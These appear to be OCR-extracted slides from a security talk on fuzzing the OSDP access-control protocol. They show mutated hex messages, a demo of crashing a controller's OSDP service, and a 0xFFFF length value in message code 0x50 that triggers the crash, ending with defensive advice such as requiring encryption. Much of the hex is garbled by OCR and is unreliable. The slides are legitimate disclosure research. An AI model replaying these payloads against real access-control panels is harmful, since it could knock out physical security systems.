b*538f18000450a0c9538f0800044020c953810800044098e6" (original:b'538f08000440a0c9538F(
b*538f10000450a0c9538f08000440ffcb’ (original:b'538f08000440a0c9538f08000440a0c9") a;
b*538f10000450a0c9538f08000440ffcb’ (original:b'538f08000440a0c9538f08000440a0c9") a;
b*538f18000450a0c9538f0800044020c953810800044098e6" (original:b'538f0800044020c9538F(
b*538f0800045091db" (original:b'538f08000440a0c9') applied mutation message_code_50

crash detected timeout: 462.97612953186035



DEMO —Crashing the CP's OSDP Service

=2 —
. w )/ 6 kaity ()

: b'536007000060e6'

: b'536007000060e6'

: b'536107000060e5'

: b'536107000060e5"

: b'536207000060e4"

: b'536207000060e4"

: b'536307000060e3"'

: b'536307000060e3"

: b'536407000060e2"

: b'536407000060e2'

: b'536507000060e1’

: b'536507000060e1"

: b'53e50700004081"

: b'53e50700004081"

: b'53650800006200de "

: b'53650800006200de "

: b'53e53400004601000002000003010004040105020166000007000008010009"

: b'53e53400004601000002000003010004640105020106000007000008010009'
message is not valid

: b'01010a92036b920306c00000e00000T00001601609C '

: b'01010a92030b920306c0000800000F00001001089C '

: b'53650900056100e94d"

: b'53650900056100e94d’

: b'53e51400054500068e010115098036053800b917"

: b'53e51400054500068e0101f5098036053800b917"

: b'536516000669000000000000000000010101010156e4 "

: b'53651600066! 00010101010150e4’

: b'53e508000640b0f0"

: b'53e508000640b0f0"

: b'53650d00076a00020101031e8f"

: b'53650d00076a00020101031e8f"

: b'53e50800074081c3’

: b'53e50800074081c3'

: b'53651600056900000000000000000001010101011d6c'

: b'53651600056900000000000000000001010101011d6c’

: b'53e508000540e3a5"

: b'53e508000540e3a5"'

: b'53650d00066a0001000000c 198"

: b'53650d00066a0001000008c 198"

: b'53e508000640b0T0"

: b'53e508000640b0f0 "

: b'53650800076033c5'

: b'53650800076033c5"'

: b'53e50800074081c3"

: b'53e508000746081c3'

: b'53650800056051a3"

: b'53650800056051a3"

>
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Message Code Ox50 - CRASH (2tnh)

|

53888000450 f FEELEFFFFFFFFFfffff

OXFF

+(0xFR

* 0x100 = OxFFFF.



Message Code Ox50 - CRASH (2th)

payload |

OXFFFF

ovexgde



WHATS next?

And how to prepare for it..
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Only the beginning..

ID to Controller communication?

OSDP Transparent Mode Complex ID Data Processing

Forwarding complex data types to
the security server?



Takeaways

OSDP is new..

(and not perfect)

Serial connections
should not be ignored!

Prepare!
I auditing, monitoring
and assessing..

Conclusion
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¥ J Require encryption
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Don’t leave
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Products assessment
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Stay Safe
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